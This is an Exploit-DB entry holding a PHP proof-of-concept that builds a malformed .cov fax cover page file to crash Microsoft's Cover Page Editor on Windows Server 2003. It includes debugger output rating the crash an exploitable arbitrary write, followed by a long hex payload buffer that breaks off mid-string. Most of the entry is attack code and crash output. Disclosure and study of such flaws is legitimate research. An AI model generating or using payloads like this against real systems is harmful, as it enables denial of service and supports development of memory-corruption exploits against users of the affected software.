Exploit-DB #15839
Description: Microsoft Windows Fax Services Cover Page Editor - '.cov' Memory Corruption
Type: dos
Platform: windows
Date: 2010-12-28
Author: rgod

Exploit:
<?php
/*
Microsoft Windows Fax Services Cover Page Editor (.cov) Memory Corruption poc
by Andrea Micalizzi aka rgod

tested on: Microsoft Windows Server 2003 Standard Edition r2 sp2 all patched

vulnerability:
Microsoft Cover Page Editor (fxscover.exe, version 5.2 r2
(Build 3790.srv03_sp2_gdr[PII_REDACTED]: Service Pack 2)
as included in the mentioned operating system as a 
featured component crashes when opening .cov files 
(Fax Cover Page Files) with certain overlarge records

Debugging Tools for Windows show:

0:000> !load ./winext/msec.dll
...
(20d4.2728): C++ EH exception - code e06d7363 (first chance)
(20d4.2728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00c6f118 ebx=00c6f118 ecx=41414141 edx=00c90d08 esi=00c6f110 edi=00270000
eip=7c83e790 esp=0006f084 ebp=0006f148 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010283
ntdll!RtlAbsoluteToSelfRelativeSD+0x5cd:
7c83e790 8901            mov     dword ptr [ecx],eax  ds:0023:41414141=????????
0:000> !exploitable
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at ntdll!RtlAbsoluteToSelfRelativeSD+0x[PII_REDACTED]0005cd (Hash=0x7d7e510d.0x116d301c)

User mode write access violations that are not near NULL are exploitable.

code:
...
7c83e790 8901            mov     dword ptr [ecx],eax  ds:0023:41414141=???????? <---- crash
7c83e792 894204          mov     dword ptr [edx+4],eax
7c83e795 56              push    esi
7c83e796 ff75dc          push    dword ptr [ebp-24h]
7c83e799 e847befeff      call    ntdll!wcslen+0x47 (7c82a5e5)
7c83e79e 8b4de0          mov     ecx,dword ptr [ebp-20h]
7c83e7a1 8b45dc          mov     eax,dword ptr [ebp-24h]
7c83e7a4 014828          add     dword ptr [eax+28h],ecx
7c83e7a7 8b45d4          mov     eax,dword ptr [ebp-2Ch]
7c83e7aa 6685c0          test    ax,ax
...

at a first look this seems exploitable, we can write four bytes into an arbitrary location.
I'm posting a proof-of-concept written in php which creates a malformed .cov file.
Results may vary if the buffer is modified. Full exploit is in stage of developing.
*/

$buff=
"FAXCOVER-VER005w".
"\x87\x00\x00\x00\x4c\x17\x00\x00\x00\x00\x00\x00\x52\x03\x00\x00".
"\x4a\x04\x00\x00\x01\x00\x00\x00\x6c\x00\x00\x00\x64\xfe\xff\xff".
"\xa8\xfc\xff\xff\x7e\x16\x00\x00\x88\x0c\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x56\x54\x00\x00\xf1\x6c\x00\x00\x20\x45\x4d\x46".
"\x00\x00\x01\x00\x4c\x17\x00\x00\x0b\x00\x00\x00\x02\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xec\x13\x00\x00".
"\xc8\x19\x00\x00\xd8\x00\x00\x00\x17\x01\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x4b\x03\x00\x68\x43\x04\x00".
"\x11\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x0a\x00\x00\x00".
"\x10\x00\x00\x00\x57\xfe\xff\xff\x25\x02\x00\x00\x25\x00\x00\x00".
"\x0c\x00\x00\x00\x05\x00\x00\x80\x26\x00\x00\x00\x1c\x00\x00\x00".
"\x01\x00\x00\x00\x06\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x25\x00\x00\x00\x0c\x00\x00\x00\x01\x00\x00\x00".
"\x56\x00\x00\x00\x58\x16\x00\x00\x64\xfe\xff\xff\xa8\xfc\xff\xff".
"\x7e\x16\x00\x00\x88\x0c\x00\x00\x8f\x05\x00\x00\xe8\xfe\xc5\x01".
"\xe9\xfe\xc5\x01\xe8\xfe\xc5\x01\xe8\xfe\xc4\x01\xe8\xfe\xc3\x01".
"\xe9\xfe\xc2\x01\xeb\xfe\xc0\x01\xec\xfe\xbd\x01\xf0\xfe\xbb\x01".
"\xf0\xfe\xb9\x01\xf3\xfe\xb6\x01\xf5\xfe\xb1\x01\xf9\xfe\xae\x01".
"\x00\xff\xa3\x01\x06\xff\x97\x01\x11\xff\x8c\x01\x24\xff\x78\x01".
"\x3b\xff\x68\x01\x4c\xff\x59\x01\x5f\xff\x46\x01\x76\xff\x35\x01".
"\x8d\xff\x26\x01\x9f\xff\x1a\x01\xab\xff\x10\x01\xbb\xff\x09\x01".
"\xbe\xff\x05\x01\xc9\xff\x00\x01\xcd\xff\xff\x00\xd9\xff\xfa\x00".
"\xdb\xff\xfa\x00\xdd\xff\xf9\x00\xdf\xff\xf7\x00\xe1\xff\xf7\x00".
"\xe2\xff\xf7\x00\x19\x01\xba\x01\xd5\xff\x7f\x01\xd6\xff\x7f\x01".
"\xd4\xff\x7e\x01\xd2\xff\x7d\x01\xce\xff\x7d\x01\xcc\xff\x7c\x01".
"\xca\xff\x7a\x01\xc8\xff\x78\x01\xc6\xff\x77\x01\xc2\xff\x74\x01".
"\xc0\xff\x72\x01\xbd\xff\x70\x01\xba\xff\x6e\x01\xae\xff\x66\x01".
"\xab\xff\x64\x01\xa7\xff\x60\x01\xa4\xff\x5d\x01\xa0\xff\x5a\x01".
"\x9b\xff\x56\x01\x92\xff\x4a\x01\x8b\xff\x3e\x01\x89\xff\x3b\x01".
"\x86\xff\x36\x01\x83\xff\x33\x01\x80\xff\x28\x01\x7c\xff\x1c\x01".
"\x75\xff\x11\x01\x75\xff\x05\x01\x74\xff\x02\x01\x74\xff\xf8\x00".
"\x71\xff\xec\x00\x71\xff\xe9\x00\x71\xff\xe7\x00\x74\xff\xe4\x00".
"\x75\xff\xe1\x00\x77\xff\xe0\x00\x7a\xff\xdf\x00\x7c\xff\xdd\x00".
"\x7e\xff\xdd\x00\x80\xff\xdc\x00\x82\xff\xdb\x00\x85\xff\xdb\x00".
"\x87\xff\xdb\x00\x88\xff\xdb\x00\x8a\xff\xdb\x00\x8c\xff\xdb\x00".
"\x8e\xff\xdb\x00\x90\xff\xdc\x00\x93\xff\xdd\x00\x96\xff\xdf\x00".
"\xa3\xff\xe5\x00\xb5\xff\xf1\x00\xd2\xff\x02\x01\xef\xff\x1c\x01".
"\x09\x00\x3a\x01\x19\x00\x50\x01\x20\x00\x69\x01\x23\x00\x7c\x01".
"\x23\x00\x8e\x01\x1e\x00\x9d\x01\x18\x00\xab\x01\x11\x00\xb7\x01".
"\x0f\x00\xb9\x01\x0d\x00\xbc\x01\x0c\x00\xbd\x01\x0b\x00\xbe\x01".
"\x0a\x00\xbe\x01\x0a\x00\xbf\x01\x09\x00\xbf\x01\x08\x00\xbf\x01".
"\x07\x00\xbf\x01\x05\x00\xbf\x01\x03\x00\xbf\x01\xff\xff\xbf\x01".
"\xfd\xff\xbf\x01\xfb\xff\xbe\x01\xf8\xff\xbc\x01\xf5\xff\xbb\x01".
"\xf3\xff\xb9\x01\xf1\xff\xb7\x01\xef\xff\xb6\x01\xed\xff\xb3\x01".
"\xec\xff\xb2\x01\xea\xff\xb0\x01\xea\xff\xaf\x01\xe9\xff\xae\x01".
"\xe7\xff\xac\x01\xe6\xff\xab\x01\xe4\xff\xa9\x01\xe3\xff\xa7\x01".
"\xe1\xff\xa5\x01\xdf\xff\xa3\x01\xde\xff\x9f\x01\xdc\xff\x9e\x01".
"\xdb\xff\x9d\x01\xd9\xff\x99\x01\xd9\xff\x98\x01\xd7\xff\x96\x01".
"\xd6\xff\x94\x01\xd4\xff\x93\x01\xd3\xff\x91\x01\xd0\xff\x8e\x01".
"\xce\xff\x8c\x01\xcc\xff\x8a\x01\xc9\xff\x88\x01\xc7\xff\x86\x01".
"\xc5\xff\x84\x01\xc3\xff\x81\x01\xc2\xff\x80\x01\xc0\xff\x7e\x01".
"\xbe\xff\x7e\x01\xbd\xff\x7c\x01\xbc\xff\x7c\x01\xba\xff\x7a\x01".
"\xb9\xff\x78\x01\xb9\xff\x77\x01\xb8\xff\x75\x01\xb8\xff